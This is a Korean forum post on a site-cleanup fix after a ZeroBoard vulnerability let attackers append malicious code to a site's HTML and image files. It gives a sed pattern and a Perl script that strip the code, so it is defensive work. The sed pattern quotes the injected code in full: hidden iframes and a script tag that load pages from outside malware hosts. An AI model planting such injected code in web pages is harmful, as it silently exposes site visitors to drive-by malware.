ro521 해결책

저는 이번에 그누보드것은 괜찮았는데 zeroboard것이 피해를 입었습니다.
며칠 script짜느라고 고생좀 했죠.
zeroboard의 취약성을 타고 심어진것인데 다음과 같은 코드가 hml, 이미지 할것없이 화일 끝에 첨가되었습니다.
다행히 데이타베이스는 깨끗합니다.
다음 script로 화일을 원상복귀했습니다.

작업을 위해 linux shell과 perl, sed가 필요합니다.

첨가된 악성코드는 s/ 다음부터 //g 사이 입니다. /는 \로 escape 했습니다.
sed를 이용하여 악성코드를 없앴니다. (sed -i -f pattern filename)

pattern

s/<?ob_start();?><iframe src="http:\/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><iframe src="http:\
/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><script src="http:\/\/j5b.kr\/bin\/h.js"><\/script>//g

모든 디렉토리를 탐색하여 감염된 화일을 찾습니다. grep으로 찾습니다. image화일은 match라고 만나옵니다.

Replacetext.pl

sub traverse {
   my ($dir, $callback) = @_;
   my $present;

   opendir $present, $dir or return();

   for (grep { ! /^(\.|\.\.)$/ } readdir $present) {
      my $path = "$dir/$_";

      &$callback($path);
      traverse($path, $callback) if -d $path;

   }

   closedir $present;
   return();
}
sub search_pattern {
   my $file = shift;
   $output = `grep $pattern $file`;
   if (($output =~ /$pattern/) or ($output =~ /matches/)){
# use input and output same file
# use -i option
        $status = `sed -i -f /home3/twooneu8/Perl/pattern $file`;      -->위의 pattern 화일을 절대경로로 지정합니다.
#        print "Report: $status\n";
#       print "Report: found\n";
   }
   else {
#       print "[$file] :$pattern not found - $output\n";
   }
   return;
}
traverse("/home3/twooneu8/FSC", \&search_pattern);          -->지울 디렉터리를 첫번째 param에 지정합니다.

|

댓글 1개

pattern은 pattern이라는 파일에 s/~//g를 삽입해서 실행하는 건가요? 이메일로 답해주시면 감사하겠습니다^^ jhlee83 at imtl.skku.ac.kr입니다(@를 at으로 표기하였습니다.
댓글을 작성하시려면 로그인이 필요합니다.

자유게시판

+
제목 글쓴이 날짜 조회
15년 전 조회 1,977
15년 전 조회 1,508
15년 전 조회 1,846
15년 전 조회 1,791
15년 전 조회 1,950
15년 전 조회 1,865
15년 전 조회 1,738
15년 전 조회 2,904
15년 전 조회 3,084
15년 전 조회 1,638
15년 전 조회 1,780
15년 전 조회 3,793
15년 전 조회 1,851
15년 전 조회 1,834
15년 전 조회 3,133
15년 전 조회 2,095
15년 전 조회 1,825
15년 전 조회 2,771
15년 전 조회 5,078
15년 전 조회 1,522
15년 전 조회 1,762
15년 전 조회 1,188
15년 전 조회 2,106
15년 전 조회 1,734
15년 전 조회 1,685
15년 전 조회 1,729
15년 전 조회 4,121
15년 전 조회 1,842
15년 전 조회 1,555
15년 전 조회 1,724